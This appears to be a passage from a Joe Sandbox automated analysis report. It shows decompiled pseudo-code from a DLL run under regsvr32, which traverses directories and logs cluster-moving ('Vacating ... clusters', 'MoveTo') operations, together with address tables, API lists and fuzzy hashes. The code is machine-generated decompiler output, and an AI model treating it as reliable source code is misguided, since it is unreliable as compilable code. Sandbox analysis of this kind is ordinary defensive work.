				_t483 = _t482 - 0x300;
				_t334 =  *0x800d81f8; // 0x68308725f9ca
				_t335 = _t334 ^ _t483;
				 *(_t480 + 0x1f0) = _t335;
				 *((long long*)(_t483 + 0x50)) = __r9;
				_t365 = __r8;
				_t477 = __rdx;
				 *((long long*)(_t483 + 0x78)) = __rcx;
				_t530 = __rcx;
				E00000001180005CCC();
				_t451 = __rdx;
				 *(_t483 + 0x70) = _t335;
				E0000000118000EE6C(__rdx);
				E000000011800544CC(_t335, _t365, _t365, __rdx, _t480);
				 *(_t483 + 0x68) = _t335;
				_t551 = _t335;
				if (_t335 == 0) goto 0x8000ec89;
				_t8 = _t472 + 0x5c; // 0x5c
				E000000011800178A0(_t8, _t335);
				if (_t335 == 0) goto 0x8000e58d;
				 *_t335 = 0;
				r8d = 0;
				 *((long long*)(_t483 + 0x20)) = _t365;
				_t12 = _t485 + 3; // 0x3
				E00000001180004968(_t254, _t12, _t335, _t335, _t451, _t485,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0xb8)), _t550);
				GetSystemTime(_t539);
				SystemTimeToFileTime(_t534);
				FindFirstFileW(_t529);
				 *(_t483 + 0x40) = _t335;
				if (_t335 != 0xffffffff) goto 0x8000e5e7;
				goto 0x8000ec84;
				_t336 =  *((intOrPtr*)(_t477 + 8));
				if ( *_t336 != 0) goto 0x8000ec17;
				if (E00000001180025A40( *_t336, _t480 - 0x34, ".") == 0) goto 0x8000ebfe;
				if (E00000001180025A40(E00000001180025A40( *_t336, _t480 - 0x34, "."), _t480 - 0x34, L"..") == 0) goto 0x8000ebfe;
				if (( *(_t480 - 0x60) & 0x00000400) != 0) goto 0x8000ebfe;
				if (_t472 == 0) goto 0x8000e696;
				if ( *((intOrPtr*)(_t472 + 0x30)) == 0) goto 0x8000e648;
				E00000001180053D58(_t365,  *((intOrPtr*)(_t472 + 0x30)), _t477, _t472);
				if ( *((intOrPtr*)(_t472 + 0x28)) == 0) goto 0x8000e656;
				E00000001180053D58(_t365,  *((intOrPtr*)(_t472 + 0x28)), _t477, _t476);
				if ( *((intOrPtr*)(_t472 + 0x20)) == 0) goto 0x8000e664;
				E00000001180053D58(_t365,  *((intOrPtr*)(_t472 + 0x20)), _t477, _t479);
				if ( *((intOrPtr*)(_t472 + 0x18)) == 0) goto 0x8000e672;
				E00000001180053D58(_t365,  *((intOrPtr*)(_t472 + 0x18)), _t477);
				if ( *((intOrPtr*)(_t472 + 0x60)) == _t365) goto 0x8000e68e;
				_t366 =  *((intOrPtr*)( *((intOrPtr*)(_t472 + 0x60)) + 0x10));
				E00000001180053D58(_t366,  *((intOrPtr*)(_t472 + 0x60)), _t477);
				 *((long long*)(_t472 + 0x60)) = _t366;
				if (_t366 != 0) goto 0x8000e678;
				E00000001180053D58(_t366, _t472, _t477);
				0x80026bf8();
				_t473 = _t336;
				if (_t336 == 0) goto 0x8000ec17;
				 *((long long*)(_t336 + 0x30)) = _t366;
				 *((long long*)(_t336 + 0x28)) = _t366;
				 *((long long*)(_t336 + 0x20)) = _t366;
				 *((long long*)(_t336 + 0x18)) = _t366;
				 *((long long*)(_t336 + 0x60)) = _t366;
				0x800264d8();
				0x800264d8();
				_t337 = _t336 + 2;
				0x80026bf8();
				 *((long long*)(_t473 + 0x20)) = _t337;
				if (_t337 == 0) goto 0x8000ec15;
				 *((long long*)(_t483 + 0x20)) = _t480 - 0x34;
				E00000001180003248(0x88, _t337, _t337, _t336 + _t337, L"%s\\%s", _t551);
				E000000011800544CC(_t337, _t336 + _t337, _t480 - 0x34, _t477, _t480);
				 *((long long*)(_t473 + 0x18)) = _t337;
				if (_t337 == 0) goto 0x8000ec17;
				0x800264d8();
				0x800264d8();
				_t338 = _t337 + 2;
				_t370 = _t337 + _t338;
				0x80026bf8();
				 *((long long*)(_t473 + 0x30)) = _t338;
				if (_t338 == 0) goto 0x8000ec15;
				 *((long long*)(_t483 + 0x20)) = _t480 + 0x1d4;
				E00000001180003248(0x88, _t338, _t338, _t370, L"%s\\%s", _t551);
				_t406 = _t480 + 0x1d4;
				E000000011800544CC(_t338, _t370, _t406, _t477, _t480);
				 *((long long*)(_t473 + 0x28)) = _t338;
				if (_t338 == 0) goto 0x8000ec17;
				 *((intOrPtr*)(_t473 + 0x78)) = 0;
				_t339 =  *((intOrPtr*)(_t483 + 0x50));
				 *((long long*)(_t473 + 0x70)) = _t339;
				 *((long long*)(_t473 + 0x38)) = (_t406 << 0x20) + _t338;
				_t57 = _t370 + 1; // 0x1
				 *((long long*)(_t473 + 0x40)) = _t370;
				 *((long long*)(_t473 + 0x48)) = _t370;
				 *((long long*)(_t473 + 0x58)) = _t370;
				 *((long long*)(_t473 + 0x50)) = _t370;
				 *((long long*)(_t473 + 0x7c)) = _t370;
				_t203 =  !=  ? _t57 : 0;
				 *((intOrPtr*)(_t473 + 0x84)) = 0;
				 *((intOrPtr*)(_t473 + 0x78)) =  !=  ? _t57 : 0;
				E0000000118000CFB4( *(_t480 - 0x60) & 0x00000010, _t370, _t530, _t477, _t480, _t473);
				_t541 = _t339;
				if (_t339 == 0) goto 0x8000ebf9;
				_t205 = E0000000118000BD14(_t57, _t339, _t370, _t530, _t477, _t473, _t339);
				CloseHandle(??);
				if (_t205 == 0) goto 0x8000ebf7;
				r14d = 1;
				r8d = 0;
				 *((intOrPtr*)(_t477 + 0x1d8)) =  *((intOrPtr*)(_t477 + 0x1d8)) + _t541;
				 *((intOrPtr*)(_t477 + 0x1e8)) =  *((intOrPtr*)(_t477 + 0x1e8)) +  *((intOrPtr*)(_t473 + 0x38));
				 *((intOrPtr*)(_t477 + 0x1f8)) =  *((intOrPtr*)(_t477 + 0x1f8)) +  *((intOrPtr*)(_t473 + 0x40));
				if (E0000000118000C1DC( *((intOrPtr*)(_t473 + 0x40)),  *((intOrPtr*)(_t473 + 0x40)), _t473, _t473, _t473,  *((intOrPtr*)(_t473 + 0x40)), __r10, _t528) != r14d) goto 0x8000e879;
				 *((intOrPtr*)(_t477 + 0x1e0)) =  *((intOrPtr*)(_t477 + 0x1e0)) + _t541;
				 *((intOrPtr*)(_t477 + 0x1f0)) =  *((intOrPtr*)(_t477 + 0x1f0)) +  *((intOrPtr*)(_t473 + 0x38));
				_t343 =  *((intOrPtr*)(_t473 + 0x40));
				 *((intOrPtr*)(_t477 + 0x200)) =  *((intOrPtr*)(_t477 + 0x200)) + _t343;
				 *((intOrPtr*)(_t477 + 0x218)) =  *((intOrPtr*)(_t477 + 0x218)) +  *((intOrPtr*)(_t473 + 0x40));
				E000000011800048A8(_t57,  *((intOrPtr*)(_t473 + 0x40)), _t335, _t477, _t480, _t473);
				if ( *((intOrPtr*)(_t473 + 0x78)) != r14d) goto 0x8000e8fe;
				 *((intOrPtr*)(_t477 + 0x1d0)) =  *((intOrPtr*)(_t477 + 0x1d0)) + _t541;
				0x800264d8();
				0x800264d8();
				_t92 = _t343 + 4; // 0x4
				0x80026bf8();
				_t374 = _t343;
				if (_t343 == 0) goto 0x8000e8fe;
				_t344 = _t480 - 0x34;
				 *((long long*)(_t483 + 0x20)) = _t344;
				E00000001180003248(_t57, _t344, _t374, _t92 + _t343, L"%s\\%s\\*", _t551);
				E0000000118000E504(_t57, _t374, _t530, _t477, _t374, _t473, __r10, _t528);
				E00000001180053D58(_t374, _t374, _t477);
				if ( *((intOrPtr*)(_t473 + 0x40)) == _t374) goto 0x8000ebf9;
				if ( *((intOrPtr*)(_t473 + 0x60)) == _t374) goto 0x8000ebf9;
				E00000001180005CCC();
				_t511 =  *((intOrPtr*)(_t473 + 0x40));
				r8d = 0;
				 *((long long*)(_t483 + 0x60)) = _t344;
				_t213 = E0000000118000C1DC(_t344, _t374, _t473, _t473, _t374, _t511, __r10, _t528);
				_t544 =  *((intOrPtr*)(_t473 + 0x60));
				r8d = _t213;
				 *((intOrPtr*)(_t483 + 0x48)) = _t213;
				r12d = 0;
				if (_t544 == 0) goto 0x8000ea22;
				r15d = 0;
				_t421 =  *((intOrPtr*)(_t544 + 8));
				if ( *_t544 == 0xffffffff) goto 0x8000e9ec;
				if (_t530 - _t421 - _t551 + _t530 >= 0) goto 0x8000e9e3;
				_t422 = _t421 - _t551;
				_t375 = _t530 + _t422;
				_t105 = _t422 - 6; // 0x1
				r9d = _t105;
				_t107 = _t422 - 5; // 0x2
				_t259 =  !=  ? _t107 : 7;
				_t108 = _t511 + 3; // 0x4
				_t260 =  ==  ? _t108 :  !=  ? _t107 : 7;
				_t110 = _t511 + 2; // 0x3
				_t216 = _t110;
				_t261 =  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7;
				_t262 =  ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7;
				 *((intOrPtr*)(_t483 + 0x20)) =  ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7;
				E00000001180003778(_t375,  *((intOrPtr*)(_t483 + 0x60)), _t477,  *_t544 - _t530 + _t530,  *_t544 - _t530 + _t375);
				r8d =  *((intOrPtr*)(_t483 + 0x48));
				if (_t375 -  *((intOrPtr*)(_t544 + 8)) - _t551 + _t530 < 0) goto 0x8000e96e;
				if ( *((intOrPtr*)(_t544 + 0x10)) != 0) goto 0x8000e94f;
				_t546 =  *((intOrPtr*)(_t473 + 0x60));
				_t537 =  *(_t483 + 0x70);
				goto 0x8000ea1d;
				if ( *_t546 != 0xffffffff) goto 0x8000ebef;
				_t311 =  *((intOrPtr*)(_t546 + 0x10));
				if (_t311 != 0) goto 0x8000ea0f;
				r14d = 4;
				 *((long long*)(_t483 + 0x30)) =  *((intOrPtr*)(_t473 + 0x38));
				_t357 =  *((intOrPtr*)(_t473 + 0x40));
				 *((long long*)(_t483 + 0x28)) = _t375;
				 *((long long*)(_t483 + 0x20)) =  *((intOrPtr*)(_t473 + 0x40));
				E00000001180004968( ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0x80)));
				asm("bt eax, 0xb");
				if (_t311 >= 0) goto 0x8000ea86;
				E00000001180004968( ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0x88)));
				asm("bt eax, 0xe");
				if (_t311 >= 0) goto 0x8000eaab;
				E00000001180004968( ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0x90)));
				asm("bt eax, 0xc");
				if (_t311 >= 0) goto 0x8000ead0;
				E00000001180004968( ==  ? _t216 :  ==  ? _t216 :  ==  ? _t108 :  !=  ? _t107 : 7, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0x98)));
				_t312 = 0x00000001 &  *(_t480 - 0x60);
				if (_t312 == 0) goto 0x8000eaf8;
				E00000001180004968(1, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0xa0)));
				asm("bt eax, 0x9");
				if (_t312 >= 0) goto 0x8000eb1d;
				E00000001180004968(1, r14d,  *((intOrPtr*)(_t473 + 0x40)),  *(_t483 + 0x70), _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0xa8)));
				asm("bt eax, 0x8");
				if (_t312 >= 0) goto 0x8000eb3f;
				E00000001180004968(1, r14d, _t357, _t537, _t375, _t473,  *((intOrPtr*)( *((intOrPtr*)(_t477 + 0x240)) + 0xb0)));
				if ( *((intOrPtr*)(_t473 + 0x18)) == 0) goto 0x8000eb6b;
				if ( *((intOrPtr*)(_t473 + 0x28)) == 0) goto 0x8000eb6b;
				if (E00000001180053BDC(_t357,  *((intOrPtr*)(_t473 + 0x18))) != 0) goto 0x8000eb6b;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t473 + 0x28)), _t477);
				 *((long long*)(_t473 + 0x28)) =  *((intOrPtr*)(_t473 + 0x18));
				if ( *((intOrPtr*)(_t473 + 0x18)) != 0) goto 0x8000eb81;
				_t360 =  *((intOrPtr*)(_t473 + 0x28));
				if (_t360 == 0) goto 0x8000eb8b;
				 *((long long*)(_t473 + 0x18)) = _t360;
				if ( *((intOrPtr*)(_t473 + 0x28)) != _t375) goto 0x8000eb8b;
				 *((long long*)(_t473 + 0x28)) = _t360;
				if ( *((intOrPtr*)(_t473 + 0x20)) == 0) goto 0x8000ebb7;
				if ( *((intOrPtr*)(_t473 + 0x30)) == 0) goto 0x8000ebb7;
				if (E00000001180053BDC(_t360,  *((intOrPtr*)(_t473 + 0x20))) != 0) goto 0x8000ebb7;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t473 + 0x30)), _t477);
				 *((long long*)(_t473 + 0x30)) =  *((intOrPtr*)(_t473 + 0x20));
				if ( *((intOrPtr*)(_t473 + 0x20)) != 0) goto 0x8000ebcd;
				_t363 =  *((intOrPtr*)(_t473 + 0x30));
				if (_t363 == 0) goto 0x8000ebd7;
				 *((long long*)(_t473 + 0x20)) = _t363;
				if ( *((intOrPtr*)(_t473 + 0x30)) != _t375) goto 0x8000ebd7;
				 *((long long*)(_t473 + 0x30)) = _t363;
				E0000000118000F208(_t477, _t473, __r10);
				_t474 = _t375;
				goto 0x8000ebf9;
				goto 0x8000ea25;
				if (FindNextFileW(??, ??) != 0) goto 0x8000e5ec;
				goto 0x8000ec17;
				FindClose(??);
				E00000001180053D58(_t375,  *(_t483 + 0x68), _t477);
				if (_t474 == 0) goto 0x8000ec89;
				if ( *((intOrPtr*)(_t474 + 0x30)) == 0) goto 0x8000ec3b;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t474 + 0x30)), _t477);
				if ( *((intOrPtr*)(_t474 + 0x28)) == 0) goto 0x8000ec49;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t474 + 0x28)), _t477);
				if ( *((intOrPtr*)(_t474 + 0x20)) == 0) goto 0x8000ec57;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t474 + 0x20)), _t477);
				if ( *((intOrPtr*)(_t474 + 0x18)) == 0) goto 0x8000ec65;
				E00000001180053D58(_t375,  *((intOrPtr*)(_t474 + 0x18)), _t477);
				if ( *((intOrPtr*)(_t474 + 0x60)) == _t375) goto 0x8000ec81;
				_t376 =  *((intOrPtr*)( *((intOrPtr*)(_t474 + 0x60)) + 0x10));
				E00000001180053D58(_t376,  *((intOrPtr*)(_t474 + 0x60)), _t477);
				 *((long long*)(_t474 + 0x60)) = _t376;
				if (_t376 != 0) goto 0x8000ec6b;
				return E000000011800149A0(E00000001180053D58(_t376, _t474, _t477), 1,  *(_t480 + 0x1f0) ^ _t483);
			}




















































                                                                                                        0x18000e504
                                                                                                        0x18000e504
                                                                                                        0x18000e504
                                                                                                        0x18000e504
                                                                                                        0x18000e514
                                                                                                        0x18000e51c
                                                                                                        0x18000e523
                                                                                                        0x18000e52a
                                                                                                        0x18000e52d
                                                                                                        0x18000e534
                                                                                                        0x18000e539
                                                                                                        0x18000e53c
                                                                                                        0x18000e53f
                                                                                                        0x18000e544
                                                                                                        0x18000e547
                                                                                                        0x18000e54c
                                                                                                        0x18000e54f
                                                                                                        0x18000e55a
                                                                                                        0x18000e562
                                                                                                        0x18000e569
                                                                                                        0x18000e56e
                                                                                                        0x18000e574
                                                                                                        0x18000e57a
                                                                                                        0x18000e580
                                                                                                        0x18000e588
                                                                                                        0x18000e58a
                                                                                                        0x18000e594
                                                                                                        0x18000e59a
                                                                                                        0x18000e5a6
                                                                                                        0x18000e5aa
                                                                                                        0x18000e5b3
                                                                                                        0x18000e5c1
                                                                                                        0x18000e5ce
                                                                                                        0x18000e5d4
                                                                                                        0x18000e5dd
                                                                                                        0x18000e5e2
                                                                                                        0x18000e5ec
                                                                                                        0x18000e5f2
                                                                                                        0x18000e60a
                                                                                                        0x18000e622
                                                                                                        0x18000e62f
                                                                                                        0x18000e638
                                                                                                        0x18000e641
                                                                                                        0x18000e643
                                                                                                        0x18000e64f
                                                                                                        0x18000e651
                                                                                                        0x18000e65d
                                                                                                        0x18000e65f
                                                                                                        0x18000e66b
                                                                                                        0x18000e66d
                                                                                                        0x18000e676
                                                                                                        0x18000e67c
                                                                                                        0x18000e680
                                                                                                        0x18000e685
                                                                                                        0x18000e68c
                                                                                                        0x18000e691
                                                                                                        0x18000e69b
                                                                                                        0x18000e6a0
                                                                                                        0x18000e6a6
                                                                                                        0x18000e6af
                                                                                                        0x18000e6b3
                                                                                                        0x18000e6b7
                                                                                                        0x18000e6bb
                                                                                                        0x18000e6bf
                                                                                                        0x18000e6c3
                                                                                                        0x18000e6cf
                                                                                                        0x18000e6d4
                                                                                                        0x18000e6df
                                                                                                        0x18000e6e4
                                                                                                        0x18000e6eb
                                                                                                        0x18000e6f8
                                                                                                        0x18000e70a
                                                                                                        0x18000e713
                                                                                                        0x18000e71a
                                                                                                        0x18000e721
                                                                                                        0x18000e72a
                                                                                                        0x18000e739
                                                                                                        0x18000e73e
                                                                                                        0x18000e742
                                                                                                        0x18000e749
                                                                                                        0x18000e74e
                                                                                                        0x18000e755
                                                                                                        0x18000e765
                                                                                                        0x18000e777
                                                                                                        0x18000e77c
                                                                                                        0x18000e783
                                                                                                        0x18000e78a
                                                                                                        0x18000e791
                                                                                                        0x18000e7aa
                                                                                                        0x18000e7ad
                                                                                                        0x18000e7b2
                                                                                                        0x18000e7b8
                                                                                                        0x18000e7bc
                                                                                                        0x18000e7bf
                                                                                                        0x18000e7c3
                                                                                                        0x18000e7c7
                                                                                                        0x18000e7cb
                                                                                                        0x18000e7d3
                                                                                                        0x18000e7d7
                                                                                                        0x18000e7da
                                                                                                        0x18000e7e3
                                                                                                        0x18000e7e6
                                                                                                        0x18000e7eb
                                                                                                        0x18000e7f1
                                                                                                        0x18000e803
                                                                                                        0x18000e80d
                                                                                                        0x18000e815
                                                                                                        0x18000e81b
                                                                                                        0x18000e821
                                                                                                        0x18000e824
                                                                                                        0x18000e835
                                                                                                        0x18000e840
                                                                                                        0x18000e856
                                                                                                        0x18000e858
                                                                                                        0x18000e863
                                                                                                        0x18000e86a
                                                                                                        0x18000e86e
                                                                                                        0x18000e879
                                                                                                        0x18000e889
                                                                                                        0x18000e892
                                                                                                        0x18000e894
                                                                                                        0x18000e89e
                                                                                                        0x18000e8aa
                                                                                                        0x18000e8af
                                                                                                        0x18000e8ba
                                                                                                        0x18000e8bf
                                                                                                        0x18000e8c5
                                                                                                        0x18000e8c7
                                                                                                        0x18000e8d5
                                                                                                        0x18000e8e0
                                                                                                        0x18000e8f1
                                                                                                        0x18000e8f9
                                                                                                        0x18000e904
                                                                                                        0x18000e90e
                                                                                                        0x18000e914
                                                                                                        0x18000e919
                                                                                                        0x18000e91d
                                                                                                        0x18000e923
                                                                                                        0x18000e92b
                                                                                                        0x18000e930
                                                                                                        0x18000e934
                                                                                                        0x18000e937
                                                                                                        0x18000e93b
                                                                                                        0x18000e941
                                                                                                        0x18000e94c
                                                                                                        0x18000e953
                                                                                                        0x18000e957
                                                                                                        0x18000e96c
                                                                                                        0x18000e96e
                                                                                                        0x18000e971
                                                                                                        0x18000e97a
                                                                                                        0x18000e97a
                                                                                                        0x18000e985
                                                                                                        0x18000e988
                                                                                                        0x18000e98e
                                                                                                        0x18000e992
                                                                                                        0x18000e999
                                                                                                        0x18000e999
                                                                                                        0x18000e99d
                                                                                                        0x18000e9a7
                                                                                                        0x18000e9b0
                                                                                                        0x18000e9c2
                                                                                                        0x18000e9ce
                                                                                                        0x18000e9df
                                                                                                        0x18000e9f9
                                                                                                        0x18000e9ff
                                                                                                        0x18000ea08
                                                                                                        0x18000ea0d
                                                                                                        0x18000ea13
                                                                                                        0x18000ea1d
                                                                                                        0x18000ea20
                                                                                                        0x18000ea29
                                                                                                        0x18000ea39
                                                                                                        0x18000ea41
                                                                                                        0x18000ea45
                                                                                                        0x18000ea54
                                                                                                        0x18000ea59
                                                                                                        0x18000ea61
                                                                                                        0x18000ea65
                                                                                                        0x18000ea7e
                                                                                                        0x18000ea86
                                                                                                        0x18000ea8a
                                                                                                        0x18000eaa3
                                                                                                        0x18000eaab
                                                                                                        0x18000eaaf
                                                                                                        0x18000eac8
                                                                                                        0x18000ead5
                                                                                                        0x18000ead7
                                                                                                        0x18000eaf0
                                                                                                        0x18000eaf8
                                                                                                        0x18000eafc
                                                                                                        0x18000eb15
                                                                                                        0x18000eb1d
                                                                                                        0x18000eb21
                                                                                                        0x18000eb3a
                                                                                                        0x18000eb46
                                                                                                        0x18000eb4f
                                                                                                        0x18000eb58
                                                                                                        0x18000eb5e
                                                                                                        0x18000eb67
                                                                                                        0x18000eb72
                                                                                                        0x18000eb74
                                                                                                        0x18000eb7b
                                                                                                        0x18000eb7d
                                                                                                        0x18000eb85
                                                                                                        0x18000eb87
                                                                                                        0x18000eb92
                                                                                                        0x18000eb9b
                                                                                                        0x18000eba4
                                                                                                        0x18000ebaa
                                                                                                        0x18000ebb3
                                                                                                        0x18000ebbe
                                                                                                        0x18000ebc0
                                                                                                        0x18000ebc7
                                                                                                        0x18000ebc9
                                                                                                        0x18000ebd1
                                                                                                        0x18000ebd3
                                                                                                        0x18000ebe5
                                                                                                        0x18000ebea
                                                                                                        0x18000ebed
                                                                                                        0x18000ebf2
                                                                                                        0x18000ec0d
                                                                                                        0x18000ec13
                                                                                                        0x18000ec1a
                                                                                                        0x18000ec23
                                                                                                        0x18000ec2b
                                                                                                        0x18000ec34
                                                                                                        0x18000ec36
                                                                                                        0x18000ec42
                                                                                                        0x18000ec44
                                                                                                        0x18000ec50
                                                                                                        0x18000ec52
                                                                                                        0x18000ec5e
                                                                                                        0x18000ec60
                                                                                                        0x18000ec69
                                                                                                        0x18000ec6f
                                                                                                        0x18000ec73
                                                                                                        0x18000ec78
                                                                                                        0x18000ec7f
                                                                                                        0x18000ecb2

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: FileFindTimeswprintf$CloseSystem$CreateFirstHandleMutexNextObjectSingleSleepWait
                                                                                                        • String ID: %s\%s$%s\%s\*
                                                                                                        • API String ID: 2013823648-2081284286
                                                                                                        • Opcode ID: 75558ecc44ba460897ba8e55e83df22d6ab22db3ff07413fe970b77c23397175
                                                                                                        • Instruction ID: 1bf6e680a4a93961f6079efd2ee856beb4c82f988987072195ecc87f8f3476d6
                                                                                                        • Opcode Fuzzy Hash: 75558ecc44ba460897ba8e55e83df22d6ab22db3ff07413fe970b77c23397175
                                                                                                        • Instruction Fuzzy Hash: A5228032301B8896EA96DF66D5517E973A0FB4DBC4F448126AF4E67B91DF38D628C300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000F464 Relevance: 15.3, Strings: 12, Instructions: 319COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 73%
                                                                                                        			E0000000118000F464(void* __ecx, void* __edi, void* __esi, void* __ebp, void* __eflags, long long __rcx, long long __rdx, signed int __r8, signed long long __r9, long long __r10) {
				void* __rbx;
				void* __rbp;
				void* _t135;
				intOrPtr _t136;
				void* _t148;
				intOrPtr _t156;
				void* _t176;
				long long _t188;
				long long _t198;
				intOrPtr _t202;
				void* _t220;
				intOrPtr _t235;
				long long _t236;
				intOrPtr _t242;
				signed long long _t248;
				signed long long _t250;
				intOrPtr _t254;
				intOrPtr* _t255;
				intOrPtr _t259;
				signed int _t262;
				void* _t263;
				long long _t264;
				signed int _t266;
				void* _t268;
				signed long long _t269;
				signed long long _t271;
				void* _t272;
				void* _t274;
				void* _t275;
				long long _t277;
				void* _t278;
				signed int _t280;
				intOrPtr _t283;
				signed long long _t284;
				long long _t286;
				long long _t290;
				signed long long _t305;
				void* _t308;
				signed long long _t309;
				signed long long _t311;
				signed int _t312;
				signed int _t313;
				signed long long _t315;
				signed long long _t316;
				signed long long _t318;

				_t280 = __r8;
				_t148 = __edi;
				_t135 = __ecx;
				_t188 = _t277;
				 *((long long*)(_t188 + 0x20)) = __r9;
				 *((long long*)(_t188 + 0x10)) = __rdx;
				 *((long long*)(_t188 + 8)) = __rcx;
				_t275 = _t188 - 0x57;
				_t278 = _t277 - 0xa0;
				_t269 = __r9;
				_t309 = __r8;
				_t264 = __rdx;
				E00000001180005CCC();
				r8d = 0;
				 *(_t278 + 0x28) = __r8;
				 *((long long*)(_t275 - 1)) = _t188;
				 *(_t278 + 0x20) = __r9;
				_t8 = _t280 + 5; // 0x5
				r14d = _t8;
				E00000001180004968(_t135, r14d, _t188, _t188, __rdx, __r8, L"Vacating %I64u clusters starting at LCN=%I64u", _t315);
				_t254 =  *((intOrPtr*)(_t264 + 0x198));
				if (_t309 - _t254 < 0) goto 0x8000f4e7;
				_t10 = _t315 - 4; // 0x1
				r8d = 0;
				E00000001180004968(_t135, _t10, _t188, _t188, _t254, _t280, L"Error: trying to vacate an area beyond the end of the disk.", _t311);
				goto 0x8000f925;
				_t136 =  *((intOrPtr*)(_t264 + 4));
				if (_t136 != 0) goto 0x8000f4fd;
				goto 0x8000f587;
				if (_t136 != 1) goto 0x8000f50e;
				goto 0x8000f587;
				if (_t136 != 2) goto 0x8000f587;
				asm("xorps xmm0, xmm0");
				_t156 = _t254;
				if (_t156 < 0) goto 0x8000f522;
				asm("repne dec eax");
				goto 0x8000f53a;
				asm("repne dec eax");
				asm("addsd xmm0, xmm0");
				asm("movsd xmm1, [0xafe4e]");
				asm("addsd xmm0, xmm0");
				asm("mulsd xmm0, [edi+0x118]");
				asm("divsd xmm0, [0xab420]");
				asm("comisd xmm0, xmm1");
				if (_t156 < 0) goto 0x8000f575;
				asm("subsd xmm0, xmm1");
				asm("comisd xmm0, xmm1");
				if (_t156 >= 0) goto 0x8000f575;
				asm("repne dec eax");
				_t290 = L"MoveTo = %I64u";
				_t271 =  >=  ? 0 : _t269 + _t309;
				r8d = 0;
				 *(_t278 + 0x20) = _t271;
				E00000001180004968(0, r14d, 0 -  *((intOrPtr*)(_t264 + 0x1a8)) + _t254, _t188, _t254, _t280, _t290, _t308);
				r13d = 0;
				 *(_t275 - 0x29) =  *(_t275 - 0x29) & _t311;
				_t305 = _t309;
				 *(_t275 - 0x31) = _t311;
				 *(_t275 - 0x11) = _t305;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t264 + 8)))) != r13d) goto 0x8000f925;
				_t235 =  *((intOrPtr*)(_t264 + 0x120));
				r10d = 0;
				r14d = 0;
				 *((long long*)(_t275 + 0x6f)) = __r10;
				 *(_t275 - 0x19) = _t315;
				if (_t235 == 0) goto 0x8000f90a;
				_t198 =  *((intOrPtr*)(_t235 + 8));
				goto 0x8000f5f2;
				_t236 = _t198;
				if ( *((intOrPtr*)(_t198 + 8)) != 0) goto 0x8000f5eb;
				if ( *((intOrPtr*)(_t236 + 0x7c)) == 1) goto 0x8000f67b;
				if ( *((intOrPtr*)(_t236 + 0x80)) == 1) goto 0x8000f67b;
				if ( *((long long*)(_t236 + 0x40)) == 0) goto 0x8000f67b;
				_t255 =  *((intOrPtr*)(_t236 + 0x60));
				r8d = 0;
				r9d = 0;
				if (_t255 == 0) goto 0x8000f671;
				if ( *_t255 == 0xffffffff) goto 0x8000f65c;
				if ( *_t255 - _t305 < 0) goto 0x8000f652;
				if (_t315 -  *_t255 > 0) goto 0x8000f635;
				if (__r10 != 0) goto 0x8000f652;
				_t316 =  *_t255;
				 *((long long*)(_t275 + 0xf)) = _t290;
				 *((long long*)(_t275 - 0x21)) =  *((intOrPtr*)(_t255 + 8)) - _t280 + _t316;
				if (_t316 == _t309) goto 0x8000f669;
				_t281 =  *((intOrPtr*)(_t255 + 8));
				if ( *((intOrPtr*)(_t255 + 0x10)) != 0) goto 0x8000f620;
				 *((long long*)(_t275 + 0x6f)) = _t236;
				 *(_t275 - 0x19) = _t316;
				if (_t316 == 0) goto 0x8000f67b;
				if (_t316 == _t309) goto 0x8000f69a;
				E0000000118000F3BC(_t236);
				if ( *((intOrPtr*)(_t255 + 8)) - _t280 != 0) goto 0x8000f5fb;
				_t202 =  *((intOrPtr*)(_t275 + 0x6f));
				_t225 =  *((intOrPtr*)(_t275 - 1));
				_t266 =  *((intOrPtr*)(_t275 + 0x67));
				if (_t202 == 0) goto 0x8000f90a;
				r8d = 0;
				 *(_t278 + 0x28) =  *((intOrPtr*)(_t202 + 0x20));
				 *(_t278 + 0x20) = _t316;
				_t47 = _t281 + 5; // 0x5
